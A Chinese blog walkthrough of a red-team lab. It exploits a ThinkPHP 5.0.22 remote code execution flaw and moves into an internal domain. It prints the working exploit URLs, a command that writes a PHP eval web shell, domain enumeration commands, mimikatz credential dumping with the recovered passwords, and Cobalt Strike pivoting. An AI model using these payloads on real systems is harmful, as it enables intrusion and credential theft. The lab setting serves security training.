实验环境搭建

漏洞详情 (qiyuanxuetang.net)

“此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习,此靶场主要用来学习,请大家遵守网络网络安全法。”

win7密码

sun\heart 123.com

sun\Administrator dc123.com

2008密码

sun\admin 2020.com

拓扑图大致如下

攻击机kali:192.168.200.36

win7:192.168.200.41、192.168.138.128

win2008:192.168.138.138

还需手动开启win7中的phpstudy

外网探测

nmap -sV -A 192.168.200.41

可以看到开放了80端口和mysql3306端口,首先观察一下80端口

ThinkPHP 5.0版本的,5.0版本据我了解大概率都存在RCE漏洞

Thinkphp漏洞利用

首先查看一下具体是哪个小版本,利用报错查看

看到是5.0.22版本,拿出Thinkphp的探测工具,看看是否可以利用

两个都试了一下发现都可以利用,接着就查查如何利用获取权限

pocthinkphp5.0.22远程代码执行漏洞分析及复现 - st404 - 博客园 (cnblogs.com)

http://192.168.200.41/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

dir查看一下当前目录情况

http://192.168.200.41/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['test']);?>" > 1.php

写入一句话蚁剑连接192.168.200.41/1.php

内网信息收集

看到内网网段192.168.138.128/24

看看域内的信息

net view /domain
net time /domain
net user /domain
net group /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain
net group "Enterprise Admins" /domain

使用cs上线之后看看

回显了这些,应该是这个账户不是域内的账户,所以不能查询

传一个shell给msf load incognito进行令牌窃取,但是也无法收集到域内信息

mimikatz跑一下账号密码

分别是administrator:dc1234.com  、  leo:123.com

探测一下c段看看别的主机ip

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

发现192.168.138.138主机

或者通过cs中自带的扫描

建立SMB监听(因为192.168.138.0/24段不能直接连接到192.168.200.36(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。)

直接获取到域控system权限,这个靶机难度感觉比第一个还低,没有什么参考意义,其他方法也不写了

最新文章

  1. chartControl绑定数据源
  2. UVa 10917 Dijkstra
  3. JQuery_DOM 节点操作之复制、替换和 删除节点
  4. Web API的Log问题
  5. Ubuntu 14 如何解压 .zip、.rar 文件?
  6. div动态显示iframe内容
  7. centos7 拨号之后添加路由
  8. C/C++指针内存分配小细节
  9. kernel里面出现了类似isegfault at xxx ip 错误
  10. Linux下可以ping ip地址但无法ping域名解决方法
  11. python中网络编程
  12. C++实验七
  13. EXCEL统计不重复值的数量
  14. 增删改查列表angular.js页面实现
  15. ndk的注意事项
  16. Ubuntu出现apt-get: Package has no installation candidate问题
  17. bzoj3672: [Noi2014]购票(树形DP+斜率优化+可持久化凸包)
  18. Python练习-time模块
  19. connect db2 by tools
  20. window 下 nginx+php+fastcgi 架设备忘

热门文章

  1. pwn200,一道不完全考察ret2libc的小小pwn题
  2. 期望 概率DP
  3. EFCore_环境搭建与简单使用_01
  4. QT判断文件/目录是否存在
  5. 表示数值的字符串 牛客网 剑指Offer
  6. single-number-ii leetcode C++
  7. Java中Lambda表达式的进化之路
  8. robot_framewok自动化测试--(3)测试项目与测试套件的概念
  9. (数据科学学习手札130)利用geopandas快捷绘制在线地图
  10. vue 快速入门 系列 —— 使用 vue-cli 3 搭建一个项目(上)